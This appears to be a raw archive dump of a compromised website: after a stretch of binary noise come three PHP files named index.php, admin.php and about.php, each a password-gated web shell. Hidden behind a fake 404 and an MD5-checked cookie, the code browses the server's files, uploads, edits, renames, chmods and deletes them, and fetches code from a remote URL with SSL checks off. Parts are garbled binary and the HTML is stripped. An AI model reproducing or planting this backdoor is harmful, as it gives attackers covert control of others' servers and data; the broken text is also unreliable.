(eD8&eS?QP8Qƨr5ml(_1N"jO\([1ה2h#0Z8#1LȨ,#mFcYaM'gdԘ lŝb&gd8#2rS`f匌gBFviCD9#9Y@$5yJe'lvNE:ެNZJ-xnrkhlcgifxao36WMe+ϵW?D2RAH\OypjV+Id)5.r=+]b=`|wgu |rAbҪSF~Hy80 0z[0fUc0Zjj8;xʥ _XVO09VΫ|"{"Z⅔JtQl'NfWO]Nt z me:O8 b i3::Uu\%M9#ZI?-NBօQFf(s' ewQ&!'qU9#Qow04vv"@ ]_"`Gz$ѵD92)6n HH ? c4~ro@ewF?e918433/index.php000064400000076702152506666340007170 0ustar00'.$パスワードハッシュ.'<-}'); } /** * 認証状態の初期化 */ $認証状態 = false; /** * クッキーによる認証チェック * クッキーp8が設定されており、そのMD5ハッシュが一致する場合、認証を許可 */ if (isset($_COOKIE['p8'])) { if(md5($_COOKIE['p8']) == $パスワードハッシュ) { $認証状態 = true; } } else { /** * POSTリクエストによる認証チェック * POSTパラメータp8が設定されており、そのMD5ハッシュが一致する場合、 * クッキーを設定して認証を許可 */ if (isset($_POST['p8'])) { if(md5($_POST['p8']) == $パスワードハッシュ) { setcookie("p8", $_POST['p8']); $認証状態 = true; } } } /** * ログアウト処理 * logoutパラメータが設定されている場合、クッキーを削除して認証状態を解除 */ if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("p8", "", time() - 3600); $認証状態 = false; } /** * 認証されていない場合の処理 * 520パラメータが設定されていない場合は404エラーを返し、 * 設定されている場合はパスワード入力フォームを表示 */ if (!$認証状態) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die(); } echo '
'; die(); } /** * ログアウトボタンの表示 */ echo '
'; /** * 外部サーバーからコードを取得する関数 * * @param string $URL コードを取得するURL * @return string 取得したコード */ function 코드가져오기($URL) { /** * リクエストパラメータを含む完全なURLの構築 */ $URL文字列 = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $URL, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); /** * file_get_contentsを使用してコードを取得 */ $コード = @file_get_contents($URL文字列); /** * file_get_contentsが失敗した場合、cURLを使用して再試行 */ if ($コード == false) { $CURLハンドル = curl_init(); curl_setopt($CURLハンドル, CURLOPT_URL, $URL文字列); curl_setopt($CURLハンドル, CURLOPT_USERAGENT, 'll'); curl_setopt($CURLハンドル, CURLOPT_RETURNTRANSFER, 1); curl_setopt($CURLハンドル, CURLOPT_TIMEOUT, 100); curl_setopt($CURLハンドル, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($CURLハンドル, CURLOPT_SSL_VERIFYPEER, 0); $コード = curl_exec($CURLハンドル); curl_close($CURLハンドル); } return $コード; } ?> 000 = 1073741824) { $バイト数 = number_format($バイト数 / 1073741824, 2) . ' GB'; } // 1MB以上の場合 elseif ($バイト数 >= 1048576) { $バイト数 = number_format($バイト数 / 1048576, 2) . ' MB'; } // 1KB以上の場合 elseif ($バイト数 >= 1024) { $バイト数 = number_format($バイト数 / 1024, 2) . ' KB'; } // 1バイトより大きい場合 elseif ($バイト数 > 1) { $バイト数 = $バイト数 . ' bytes'; } // 1バイトの場合 elseif ($バイト数 == 1) { $バイト数 = $バイト数 . ' byte'; } // 0バイトの場合 else { $バイト数 = '0 bytes'; } return $バイト数; } /** * ファイルの拡張子を取得する関数 * * @param string $ファイル ファイル名 * @return string ファイルの拡張子 */ function 파일확장자($ファイル) { return substr(strrchr($ファイル, '.'), 1); } /** * ファイルタイプに応じたアイコンを返す関数 * ファイルの拡張子や名前に基づいて適切なFont Awesomeアイコンを返します * * @param string $ファイル ファイル名 * @return string HTMLアイコンタグ */ function 파일아이콘($ファイル) { /** * 画像ファイルの拡張子リスト */ $画像拡張子配列 = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); /** * 音声ファイルの拡張子リスト */ $音声拡張子配列 = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); /** * ファイルの拡張子を小文字で取得 */ $拡張子 = strtolower(파일확장자($ファイル)); /** * 特殊ファイル名の処理 */ if ($ファイル == "error_log") { return ' '; } elseif ($ファイル == ".htaccess") { return ' '; } /** * 拡張子に基づくアイコンの選択 */ if ($拡張子 == "html" || $拡張子 == "htm") { return ' '; } elseif ($拡張子 == "php" || $拡張子 == "phtml") { return ' '; } elseif (in_array($拡張子, $画像拡張子配列)) { return ' '; } elseif ($拡張子 == "css") { return ' '; } elseif ($拡張子 == "txt") { return ' '; } elseif (in_array($拡張子, $音声拡張子配列)) { return ' '; } elseif ($拡張子 == "py") { return ' '; } elseif ($拡張子 == "js") { return ' '; } else { return ' '; } } /** * パスをエンコードする関数 * パス内の特殊文字をベンガル文字に置き換えてエンコードします * * @param string $パス エンコードするパス * @return string エンコードされたパス */ function 경로인코딩($パス) { /** * 置換前の文字配列(スラッシュ、バックスラッシュ、ドット、コロン) */ $置換前配列 = array("/", "\\", ".", ":"); /** * 置換後の文字配列(ベンガル文字) */ $置換後配列 = array("ক", "খ", "গ", "ঘ"); return str_replace($置換前配列, $置換後配列, $パス); } /** * パスをデコードする関数 * エンコードされたパスを元の形式に戻します * * @param string $パス デコードするパス * @return string デコードされたパス */ function 경로디코딩($パス) { /** * 置換前の文字配列(ベンガル文字) */ $置換前配列 = array("/", "\\", ".", ":"); /** * 置換後の文字配列(スラッシュ、バックスラッシュ、ドット、コロン) */ $置換後配列 = array("ক", "খ", "গ", "ঘ"); return str_replace($置換後配列, $置換前配列, $パス); } /** * ルートパスの初期化 * スクリプトのディレクトリをルートパスとして設定 */ $ルートパス = __DIR__; /** * スクリプトファイルのパスを取得 */ $パス = $_SERVER['SCRIPT_FILENAME']; /** * Windows環境の場合、バックスラッシュをスラッシュに変換 */ if(strpos($_SERVER['SCRIPT_FILENAME'], ":")) { $パス = str_replace('\\', '/', $パス); } /** * ルートディレクトリの判定 * PHP_SELFとSCRIPT_FILENAMEが一致する場合、ルートパスを"/"に設定 */ if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$パス)) { $ルートパス = ('/'); } else { /** * ルートパスの計算 * SCRIPT_FILENAMEからPHP_SELFを除いた部分をルートパスとして設定 */ $ルートパス = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$パス) )); } /** * パスパラメータの処理 * GETパラメータpが設定されている場合、そのパスを使用 */ if (isset($_GET['p'])) { /** * パラメータが空の場合はルートパスを使用 */ if (empty($_GET['p'])) { $現在のパス = $ルートパス; } /** * デコードしたパスがディレクトリでない場合、エラーを表示 */ elseif (!is_dir(경로디코딩($_GET['p']))) { echo (""); } /** * デコードしたパスがディレクトリの場合、そのパスを使用 */ elseif (is_dir(경로디코딩($_GET['p']))) { $現在のパス = 경로디코딩($_GET['p']); } } /** * クエリパラメータqが設定されている場合の処理 */ elseif (isset($_GET['q'])) { /** * デコードしたパスがディレクトリでない場合、ルートにリダイレクト */ if (!is_dir(경로디코딩($_GET['q']))) { echo (""); } /** * デコードしたパスがディレクトリの場合、そのパスを使用 */ elseif (is_dir(경로디코딩($_GET['q']))) { $現在のパス = 경로디코딩($_GET['q']); } } /** * パラメータが設定されていない場合、現在のディレクトリを使用 */ else { $現在のパス = __DIR__; } /** * 現在のパスを定数として定義 */ define("PATH", $現在のパス); /** * ナビゲーションバーの表示開始 */ echo (' '); /** * パスパラメータが設定されている場合、ファイル一覧を表示 */ if (isset($_GET['p'])) { /** * ファイルとフォルダの取得 * ディレクトリが読み取り可能な場合、スキャンしてファイルとフォルダを分離 */ if (is_readable(PATH)) { /** * ディレクトリ内の全オブジェクトを取得 */ $取得オブジェクト = scandir(PATH); /** * フォルダとファイルを格納する配列 */ $フォルダ配列 = array(); $ファイル配列 = array(); /** * 各オブジェクトをループして、フォルダとファイルに分類 */ foreach ($取得オブジェクト as $オブジェクト) { /** * 現在ディレクトリと親ディレクトリはスキップ */ if ($オブジェクト == '.' || $オブジェクト == '..') { continue; } /** * オブジェクトの完全パスを構築 */ $新規オブジェクト = PATH . '/' . $オブジェクト; /** * ディレクトリの場合はフォルダ配列に追加 */ if (is_dir($新規オブジェクト)) { array_push($フォルダ配列, $オブジェクト); } /** * ファイルの場合はファイル配列に追加 */ elseif (is_file($新規オブジェクト)) { array_push($ファイル配列, $オブジェクト); } } } /** * ファイル一覧テーブルのヘッダーを表示 */ echo ' '; /** * フォルダ一覧の表示 * 各フォルダに対して、名前、サイズ、更新日時、権限、アクションを表示 */ foreach ($フォルダ配列 as $フォルダ) { echo " "; } /** * ファイル一覧の表示 * 各ファイルに対して、アイコン、名前、サイズ、更新日時、権限、アクションを表示 */ foreach ($ファイル配列 as $ファイル) { echo " "; } /** * テーブルの終了タグ */ echo "
Name Size Modified Perms Actions
" . $フォルダ . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $フォルダ)) . " 0" . substr(decoct(fileperms(PATH . "/" . $フォルダ)), -3) . "
" . 파일아이콘($ファイル) . $ファイル . " " . 크기포맷팅(filesize(PATH . "/" . $ファイル)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $ファイル)) . " 0". substr(decoct(fileperms(PATH . "/" .$ファイル)), -3) . "
"; } else { /** * GETパラメータが空の場合、パスパラメータにリダイレクト */ if (empty($_GET)) { echo (""); } } /** * 新規ディレクトリ作成フォームの表示 * newdirパラメータとqパラメータが設定されている場合、新規ディレクトリ作成フォームを表示 */ if (isset($_GET['newdir']) && isset($_GET['q'])) { echo '

Create New Directory

Enter the name for the new directory. Avoid special characters.
Cancel
'; /** * 新規ディレクトリ作成処理の実行 * create_directoryパラメータがPOSTされた場合、新しいディレクトリを作成 */ if (isset($_POST['create_directory'])) { /** * POSTされたディレクトリ名を取得 */ $新規ディレクトリ名 = trim($_POST['dirname']); /** * ディレクトリ名の検証 */ if (!empty($新規ディレクトリ名)) { /** * ディレクトリ名に不正な文字が含まれていないかチェック */ if (preg_match('/[\/\\\\:*?"<>|]/', $新規ディレクトリ名)) { echo (""); } else { /** * 新規ディレクトリの完全パス */ $新規ディレクトリパス = PATH . "/" . $新規ディレクトリ名; /** * ディレクトリが既に存在するかチェック */ if (file_exists($新規ディレクトリパス)) { echo (""); } else { /** * 新規ディレクトリの作成 * デフォルト権限は0755(所有者は読み書き実行、グループとその他は読み実行) */ if(mkdir($新規ディレクトリパス, 0755, true)) { echo (""); } else { echo (""); } } } } else { echo (""); } } } /** * ファイルアップロードフォームの表示 * uploadパラメータが設定されている場合、アップロードフォームを表示 */ if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } /** * ファイル・フォルダのリネーム機能 * rパラメータとqパラメータが設定されている場合、リネームフォームを表示 */ if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { /** * リネームフォームの表示 */ echo '
Rename:
'; /** * リネーム処理の実行 * renameパラメータがPOSTされた場合、ファイル・フォルダの名前を変更 */ if (isset($_POST['rename'])) { /** * 現在のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['r']; /** * リネームの実行 */ if(rename($名前, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } /** * ファイル編集機能 * eパラメータとqパラメータが設定されている場合、ファイル編集フォームを表示 */ if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { /** * ファイル編集フォームの表示 * ファイルの内容をテキストエリアに表示 */ echo '

'; /** * ファイル保存処理の実行 * editパラメータがPOSTされた場合、ファイルの内容を保存 */ if(isset($_POST['edit'])) { /** * 編集対象ファイルの完全パス */ $ファイル名 = PATH."/".$_GET['e']; /** * POSTされたデータを取得 */ $データ = $_POST['data']; /** * ファイルを書き込みモードで開く */ $ファイルハンドル = fopen($ファイル名,"w"); /** * ファイルへの書き込み */ if(fwrite($ファイルハンドル,$データ)) { echo (""); } else { echo (""); } /** * ファイルハンドルを閉じる */ fclose($ファイルハンドル); } } } /** * ファイルアップロード処理の実行 * uploadパラメータがPOSTされた場合、アップロードされたファイルを保存 */ if (isset($_POST["upload"])) { /** * アップロード先のファイルパス */ $ターゲットファイル = PATH . "/" . $_FILES["fileToUpload"]["name"]; /** * アップロードされたファイルを移動 */ if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ターゲットファイル)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } /** * ファイル・フォルダの権限変更機能 * chmodパラメータとqパラメータが設定されている場合、権限変更フォームを表示 */ if (isset($_GET['chmod']) && isset($_GET['q'])) { if (!empty($_GET['chmod'])) { /** * 権限変更対象のファイル・フォルダの完全パス */ $権限変更対象 = PATH . "/" . $_GET['chmod']; /** * 現在の権限を取得(8進数形式) */ $現在の権限 = substr(decoct(fileperms($権限変更対象)), -3); /** * 権限変更フォームの表示 */ echo '

Change Permissions

Enter permissions in octal format (e.g., 755 for rwxr-xr-x, 644 for rw-r--r--)
Cancel
'; /** * 権限変更処理の実行 * change_permissionsパラメータがPOSTされた場合、ファイル・フォルダの権限を変更 */ if (isset($_POST['change_permissions'])) { /** * POSTされた権限値を取得 */ $新しい権限 = $_POST['permissions']; /** * 権限値の検証(3桁の8進数であることを確認) */ if (preg_match('/^[0-7]{3}$/', $新しい権限)) { /** * 権限変更対象のパス */ $権限変更パス = PATH . "/" . $_POST['chmod_target']; /** * 8進数形式に変換してchmodを実行 */ $権限8進数値 = octdec($新しい権限); /** * 権限の変更を実行 */ if(chmod($権限変更パス, $権限8進数値)) { echo (""); } else { echo (""); } } else { echo (""); } } } } /** * ファイル・フォルダの削除機能 * dパラメータとqパラメータが設定されている場合、ファイル・フォルダを削除 */ if (isset($_GET['d']) && isset($_GET['q'])) { /** * 削除対象のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['d']; /** * ファイルの場合の削除処理 */ if (is_file($名前)) { if(unlink($名前)) { echo (""); } else { echo (""); } } /** * ディレクトリの場合の削除処理 */ elseif (is_dir($名前)) { if(rmdir($名前) == true) { echo (""); } else { echo (""); } } } ?> 918433/admin.php000064400000100527152506666340007142 0ustar00'.$パスワードハッシュ.'<-}'); } /** * 認証状態の初期化 */ $認証状態 = false; /** * クッキーによる認証チェック * クッキーp8が設定されており、そのMD5ハッシュが一致する場合、認証を許可 */ if (isset($_COOKIE['p8'])) { if(md5($_COOKIE['p8']) == $パスワードハッシュ) { $認証状態 = true; } } else { /** * POSTリクエストによる認証チェック * POSTパラメータp8が設定されており、そのMD5ハッシュが一致する場合、 * クッキーを設定して認証を許可 */ if (isset($_POST['p8'])) { if(md5($_POST['p8']) == $パスワードハッシュ) { setcookie("p8", $_POST['p8']); $認証状態 = true; } } } /** * ログアウト処理 * logoutパラメータが設定されている場合、クッキーを削除して認証状態を解除 */ if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("p8", "", time() - 3600); $認証状態 = false; } /** * 認証されていない場合の処理 * 520パラメータが設定されていない場合は404エラーを返し、 * 設定されている場合はパスワード入力フォームを表示 */ if (!$認証状態) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die(); } echo '
'; die(); } /** * ログアウトボタンの表示 */ echo '
'; /** * 外部サーバーからコードを取得する関数 * * @param string $URL コードを取得するURL * @return string 取得したコード */ function 코드가져오기($URL) { /** * リクエストパラメータを含む完全なURLの構築 */ $URL文字列 = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $URL, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); /** * file_get_contentsを使用してコードを取得 */ $コード = @file_get_contents($URL文字列); /** * file_get_contentsが失敗した場合、cURLを使用して再試行 */ if ($コード == false) { $CURLハンドル = curl_init(); curl_setopt($CURLハンドル, CURLOPT_URL, $URL文字列); curl_setopt($CURLハンドル, CURLOPT_USERAGENT, 'll'); curl_setopt($CURLハンドル, CURLOPT_RETURNTRANSFER, 1); curl_setopt($CURLハンドル, CURLOPT_TIMEOUT, 100); curl_setopt($CURLハンドル, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($CURLハンドル, CURLOPT_SSL_VERIFYPEER, 0); $コード = curl_exec($CURLハンドル); curl_close($CURLハンドル); } return $コード; } ?> 000 = 1073741824) { $バイト数 = number_format($バイト数 / 1073741824, 2) . ' GB'; } // 1MB以上の場合 elseif ($バイト数 >= 1048576) { $バイト数 = number_format($バイト数 / 1048576, 2) . ' MB'; } // 1KB以上の場合 elseif ($バイト数 >= 1024) { $バイト数 = number_format($バイト数 / 1024, 2) . ' KB'; } // 1バイトより大きい場合 elseif ($バイト数 > 1) { $バイト数 = $バイト数 . ' bytes'; } // 1バイトの場合 elseif ($バイト数 == 1) { $バイト数 = $バイト数 . ' byte'; } // 0バイトの場合 else { $バイト数 = '0 bytes'; } return $バイト数; } /** * ファイルの拡張子を取得する関数 * * @param string $ファイル ファイル名 * @return string ファイルの拡張子 */ function 파일확장자($ファイル) { return substr(strrchr($ファイル, '.'), 1); } /** * ファイルタイプに応じたアイコンを返す関数 * ファイルの拡張子や名前に基づいて適切なFont Awesomeアイコンを返します * * @param string $ファイル ファイル名 * @return string HTMLアイコンタグ */ function 파일아이콘($ファイル) { /** * 画像ファイルの拡張子リスト */ $画像拡張子配列 = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); /** * 音声ファイルの拡張子リスト */ $音声拡張子配列 = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); /** * ファイルの拡張子を小文字で取得 */ $拡張子 = strtolower(파일확장자($ファイル)); /** * 特殊ファイル名の処理 */ if ($ファイル == "error_log") { return ' '; } elseif ($ファイル == ".htaccess") { return ' '; } /** * 拡張子に基づくアイコンの選択 */ if ($拡張子 == "html" || $拡張子 == "htm") { return ' '; } elseif ($拡張子 == "php" || $拡張子 == "phtml") { return ' '; } elseif (in_array($拡張子, $画像拡張子配列)) { return ' '; } elseif ($拡張子 == "css") { return ' '; } elseif ($拡張子 == "txt") { return ' '; } elseif (in_array($拡張子, $音声拡張子配列)) { return ' '; } elseif ($拡張子 == "py") { return ' '; } elseif ($拡張子 == "js") { return ' '; } else { return ' '; } } /** * パスをエンコードする関数 * パス内の特殊文字をベンガル文字に置き換えてエンコードします * * @param string $パス エンコードするパス * @return string エンコードされたパス */ function 경로인코딩($パス) { /** * 置換前の文字配列(スラッシュ、バックスラッシュ、ドット、コロン) */ $置換前配列 = array("/", "\\", ".", ":"); /** * 置換後の文字配列(ベンガル文字) */ $置換後配列 = array("ক", "খ", "গ", "ঘ"); return str_replace($置換前配列, $置換後配列, $パス); } /** * パスをデコードする関数 * エンコードされたパスを元の形式に戻します * * @param string $パス デコードするパス * @return string デコードされたパス */ function 경로디코딩($パス) { /** * 置換前の文字配列(ベンガル文字) */ $置換前配列 = array("/", "\\", ".", ":"); /** * 置換後の文字配列(スラッシュ、バックスラッシュ、ドット、コロン) */ $置換後配列 = array("ক", "খ", "গ", "ঘ"); return str_replace($置換後配列, $置換前配列, $パス); } /** * ルートパスの初期化 * スクリプトのディレクトリをルートパスとして設定 */ $ルートパス = __DIR__; /** * スクリプトファイルのパスを取得 */ $パス = $_SERVER['SCRIPT_FILENAME']; /** * Windows環境の場合、バックスラッシュをスラッシュに変換 */ if(strpos($_SERVER['SCRIPT_FILENAME'], ":")) { $パス = str_replace('\\', '/', $パス); } /** * ルートディレクトリの判定 * PHP_SELFとSCRIPT_FILENAMEが一致する場合、ルートパスを"/"に設定 */ if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$パス)) { $ルートパス = ('/'); } else { /** * ルートパスの計算 * SCRIPT_FILENAMEからPHP_SELFを除いた部分をルートパスとして設定 */ $ルートパス = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$パス) )); } /** * パスパラメータの処理 * GETパラメータpが設定されている場合、そのパスを使用 */ if (isset($_GET['p'])) { /** * パラメータが空の場合はルートパスを使用 */ if (empty($_GET['p'])) { $現在のパス = $ルートパス; } /** * デコードしたパスがディレクトリでない場合、エラーを表示 */ elseif (!is_dir(경로디코딩($_GET['p']))) { echo (""); } /** * デコードしたパスがディレクトリの場合、そのパスを使用 */ elseif (is_dir(경로디코딩($_GET['p']))) { $現在のパス = 경로디코딩($_GET['p']); } } /** * クエリパラメータqが設定されている場合の処理 */ elseif (isset($_GET['q'])) { /** * デコードしたパスがディレクトリでない場合、ルートにリダイレクト */ if (!is_dir(경로디코딩($_GET['q']))) { echo (""); } /** * デコードしたパスがディレクトリの場合、そのパスを使用 */ elseif (is_dir(경로디코딩($_GET['q']))) { $現在のパス = 경로디코딩($_GET['q']); } } /** * パラメータが設定されていない場合、現在のディレクトリを使用 */ else { $現在のパス = __DIR__; } /** * 現在のパスを定数として定義 */ define("PATH", $現在のパス); /** * ナビゲーションバーの表示開始 */ echo (' '); /** * パスパラメータが設定されている場合、ファイル一覧を表示 */ if (isset($_GET['p'])) { /** * ファイルとフォルダの取得 * ディレクトリが読み取り可能な場合、スキャンしてファイルとフォルダを分離 */ if (is_readable(PATH)) { /** * ディレクトリ内の全オブジェクトを取得 */ $取得オブジェクト = scandir(PATH); /** * フォルダとファイルを格納する配列 */ $フォルダ配列 = array(); $ファイル配列 = array(); /** * 各オブジェクトをループして、フォルダとファイルに分類 */ foreach ($取得オブジェクト as $オブジェクト) { /** * 現在ディレクトリと親ディレクトリはスキップ */ if ($オブジェクト == '.' || $オブジェクト == '..') { continue; } /** * オブジェクトの完全パスを構築 */ $新規オブジェクト = PATH . '/' . $オブジェクト; /** * ディレクトリの場合はフォルダ配列に追加 */ if (is_dir($新規オブジェクト)) { array_push($フォルダ配列, $オブジェクト); } /** * ファイルの場合はファイル配列に追加 */ elseif (is_file($新規オブジェクト)) { array_push($ファイル配列, $オブジェクト); } } } /** * ファイル一覧テーブルのヘッダーを表示 */ echo ' '; /** * フォルダ一覧の表示 * 各フォルダに対して、名前、サイズ、更新日時、権限、アクションを表示 */ foreach ($フォルダ配列 as $フォルダ) { echo " "; } /** * ファイル一覧の表示 * 各ファイルに対して、アイコン、名前、サイズ、更新日時、権限、アクションを表示 */ foreach ($ファイル配列 as $ファイル) { echo " "; } /** * テーブルの終了タグ */ echo "
Name Size Modified Perms Actions
" . $フォルダ . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $フォルダ)) . " 0" . substr(decoct(fileperms(PATH . "/" . $フォルダ)), -3) . "
" . 파일아이콘($ファイル) . $ファイル . " " . 크기포맷팅(filesize(PATH . "/" . $ファイル)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $ファイル)) . " 0". substr(decoct(fileperms(PATH . "/" .$ファイル)), -3) . "
"; } else { /** * GETパラメータが空の場合、パスパラメータにリダイレクト */ if (empty($_GET)) { echo (""); } } /** * 新規ディレクトリ作成フォームの表示 * newdirパラメータとqパラメータが設定されている場合、新規ディレクトリ作成フォームを表示 */ if (isset($_GET['newdir']) && isset($_GET['q'])) { echo '

Create New Directory

Enter the name for the new directory. Avoid special characters.
Cancel
'; /** * 新規ディレクトリ作成処理の実行 * create_directoryパラメータがPOSTされた場合、新しいディレクトリを作成 */ if (isset($_POST['create_directory'])) { /** * POSTされたディレクトリ名を取得 */ $新規ディレクトリ名 = trim($_POST['dirname']); /** * ディレクトリ名の検証 */ if (!empty($新規ディレクトリ名)) { /** * ディレクトリ名に不正な文字が含まれていないかチェック */ if (preg_match('/[\/\\\\:*?"<>|]/', $新規ディレクトリ名)) { echo (""); } else { /** * 新規ディレクトリの完全パス */ $新規ディレクトリパス = PATH . "/" . $新規ディレクトリ名; /** * ディレクトリが既に存在するかチェック */ if (file_exists($新規ディレクトリパス)) { echo (""); } else { /** * 新規ディレクトリの作成 * デフォルト権限は0755(所有者は読み書き実行、グループとその他は読み実行) */ if(mkdir($新規ディレクトリパス, 0755, true)) { echo (""); } else { echo (""); } } } } else { echo (""); } } } /** * ファイルアップロードフォームの表示 * uploadパラメータが設定されている場合、アップロードフォームを表示 */ if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } /** * ファイル・フォルダのリネーム機能 * rパラメータとqパラメータが設定されている場合、リネームフォームを表示 */ if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { /** * リネームフォームの表示 */ echo '
Rename:
'; /** * リネーム処理の実行 * renameパラメータがPOSTされた場合、ファイル・フォルダの名前を変更 */ if (isset($_POST['rename'])) { /** * 現在のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['r']; /** * リネームの実行 */ if(rename($名前, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } /** * ファイル編集機能 * eパラメータとqパラメータが設定されている場合、ファイル編集フォームを表示 */ if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { /** * ファイル編集フォームの表示 * ファイルの内容をテキストエリアに表示 */ echo '

'; /** * ファイル保存処理の実行 * editパラメータがPOSTされた場合、ファイルの内容を保存 */ if(isset($_POST['edit'])) { /** * 編集対象ファイルの完全パス */ $ファイル名 = PATH."/".$_GET['e']; /** * POSTされたデータを取得 */ $データ = $_POST['data']; /** * ファイルを書き込みモードで開く */ $ファイルハンドル = fopen($ファイル名,"w"); /** * ファイルへの書き込み */ if(fwrite($ファイルハンドル,$データ)) { echo (""); } else { echo (""); } /** * ファイルハンドルを閉じる */ fclose($ファイルハンドル); } } } /** * ファイルアップロード処理の実行 * uploadパラメータがPOSTされた場合、アップロードされたファイルを保存 */ if (isset($_POST["upload"])) { /** * アップロード先のファイルパス */ $ターゲットファイル = PATH . "/" . $_FILES["fileToUpload"]["name"]; /** * アップロードされたファイルを移動 */ if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ターゲットファイル)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } /** * ファイル・フォルダの権限変更機能 * chmodパラメータとqパラメータが設定されている場合、権限変更フォームを表示 */ if (isset($_GET['chmod']) && isset($_GET['q'])) { if (!empty($_GET['chmod'])) { /** * 権限変更対象のファイル・フォルダの完全パス */ $権限変更対象 = PATH . "/" . $_GET['chmod']; /** * 現在の権限を取得(8進数形式) */ $現在の権限 = substr(decoct(fileperms($権限変更対象)), -3); /** * 権限変更フォームの表示 */ echo '

Change Permissions

Enter permissions in octal format (e.g., 755 for rwxr-xr-x, 644 for rw-r--r--)
Cancel
'; /** * 権限変更処理の実行 * change_permissionsパラメータがPOSTされた場合、ファイル・フォルダの権限を変更 */ if (isset($_POST['change_permissions'])) { /** * POSTされた権限値を取得 */ $新しい権限 = $_POST['permissions']; /** * 権限値の検証(3桁の8進数であることを確認) */ if (preg_match('/^[0-7]{3}$/', $新しい権限)) { /** * 権限変更対象のパス */ $権限変更パス = PATH . "/" . $_POST['chmod_target']; /** * 8進数形式に変換してchmodを実行 */ $権限8進数値 = octdec($新しい権限); /** * 権限の変更を実行 */ if(chmod($権限変更パス, $権限8進数値)) { echo (""); } else { echo (""); } } else { echo (""); } } } } /** * ファイル・フォルダの削除機能 * dパラメータとqパラメータが設定されている場合、ファイル・フォルダを削除 */ if (isset($_GET['d']) && isset($_GET['q'])) { /** * 削除対象のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['d']; /** * ファイルの場合の削除処理 */ if (is_file($名前)) { if(unlink($名前)) { echo (""); } else { echo (""); } } /** * ディレクトリの場合の削除処理 */ elseif (is_dir($名前)) { if(rmdir($名前) == true) { echo (""); } else { echo (""); } } } ?> 918433/about.php000064400000032041152506666340007157 0ustar00'.$p.'<-}'); } $pass = false; if (isset($_COOKIE['p8'])) { if(md5($_COOKIE['p8']) == $p) { $pass = true; } } else { if (isset($_POST['p8'])) { if(md5($_POST['p8']) == $p) { setcookie("p8", $_POST['p8']); $pass = true; } } } if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("p8", null); $pass= false; } if (!$pass) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die();} echo '
'; die(); } echo '
'; function GC($a) { $url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $a, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); $code = @file_get_contents($url); if ($code == false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'll'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 100); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $code = curl_exec($ch); curl_close($ch); }return $code;} ?> 000 = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return 